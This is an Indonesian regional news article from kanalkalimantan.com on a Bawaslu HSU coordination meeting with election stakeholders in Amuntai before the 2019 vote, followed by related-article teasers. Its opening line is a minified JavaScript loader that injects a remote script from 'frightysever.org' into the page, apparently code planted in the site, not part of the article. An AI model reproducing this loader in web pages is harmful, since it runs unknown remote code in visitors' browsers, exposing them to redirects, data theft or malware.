(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Jelang Pemilu 2019, Badan Pengawas Pemilu (Bawaslu) HSU menggelar rapat koordinasi dengan stakeholder pengawas pemilu 2019 di ballroom hotel Balqis Amuntai, Rabu (12/12). Acara melibatkan peserta dari berbagai unsur seperti KPUD, masyarakat, tokoh agama, kepolisian, mahasiswa, hingga pelajar.
Ketua Bawaslu HSU Syardani mengatakan, sosialisasi dan upaya pencegahan pelanggaran lebih diutamakan pihaknya dalm mengawal proses pemilu. Sehingga perlu dilakukan upaya rapat koordinasi dengan melibatkan stakeholder terkait dan masyarakat.
“Tujuan kita menggelar rakor dengan stakeholder pengawas agar meningkatkan peran serta tokoh masyarakat,tokoh agama, mahasiswa pelajar dan lainnya dalam pengawasan karena bawaslu tidak bisa bekerja sendiri dalam pengawasan,” kata Syardani.
Beberapa hal yang menjadi pertanyaan pelajar dan mahasiswa adalah masih munculnya sikap apatis pada pemilu. Terutama pada generasi muda, yang dipicu alasan tidak mengenal caleg maupun programnya. Termasuk juga, bahwa pada proses politik sering para tokoh hanya melakukan pendekatan pada momentum pemilihan umum saja.
Di sisi lain, komisioner Bawaslu HSU, Khairil berharap publik berpartisipasi dalam ikut mengawal proses pemilu. Termasuk melaporkan, jika ada menemukan bentuk kecurangan di lapangan yang dilakukan oleh peserta. Baik caleg, parpol, hingga DPD maupun tim kampanye Capres.
“Bawaslu akan berupaya melindungi pelapor yang tidak berani demi keamanan dengan upaya tertentu. Tapi jika berani melaporkan sebagai pejuang demokrasi,” ujarnya.
Diantaranya pemateri pada kegiatan ini disampaikan oleh Komisioner KPU HSU Hamli yang memberikan materi mengenai proses/tahapan pemilu, peningkatan peran serta masyarakat, tata cara pencoblosan dan pengenalan surat suara.
Sementara Emmy Najmiati, selaku Komisioner Bawaslu Divisi Pencegahan dan Hubungan Antar Lembaga mengatakan, tiap TPS nantinya ada petugas pengawas yang direkrut Bawaslu jelang hari pencoblosan. Petugas pengawas di kecamatan ada 3 orang dan tiap-tiap desa/kelurahan ada 1 orang.
Ditambah nantinya dengan pengawas TPS. Jumlah petugas sesuai jumlah 746 TPS di HSU. Jumlah parpol peserta pemilu sebanyak 20 secara nasional, namun di HSU sebanyak, 15 parpol dan yang menjadi peserta Pemilu 2019 karena memenuhi syarat sebanyak 12 parpol.
Diakhir kegian rakor ini, Bawaslu HSU juga melakukan deklarasi bersama stakeholder pengawas dari unsur KPU, tokoh masyarakat, mahasiswa dan pelajar tokoh untuk mendukung pemilu yang damai bersih dari berbagai kecurangan dan pelanggaran.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.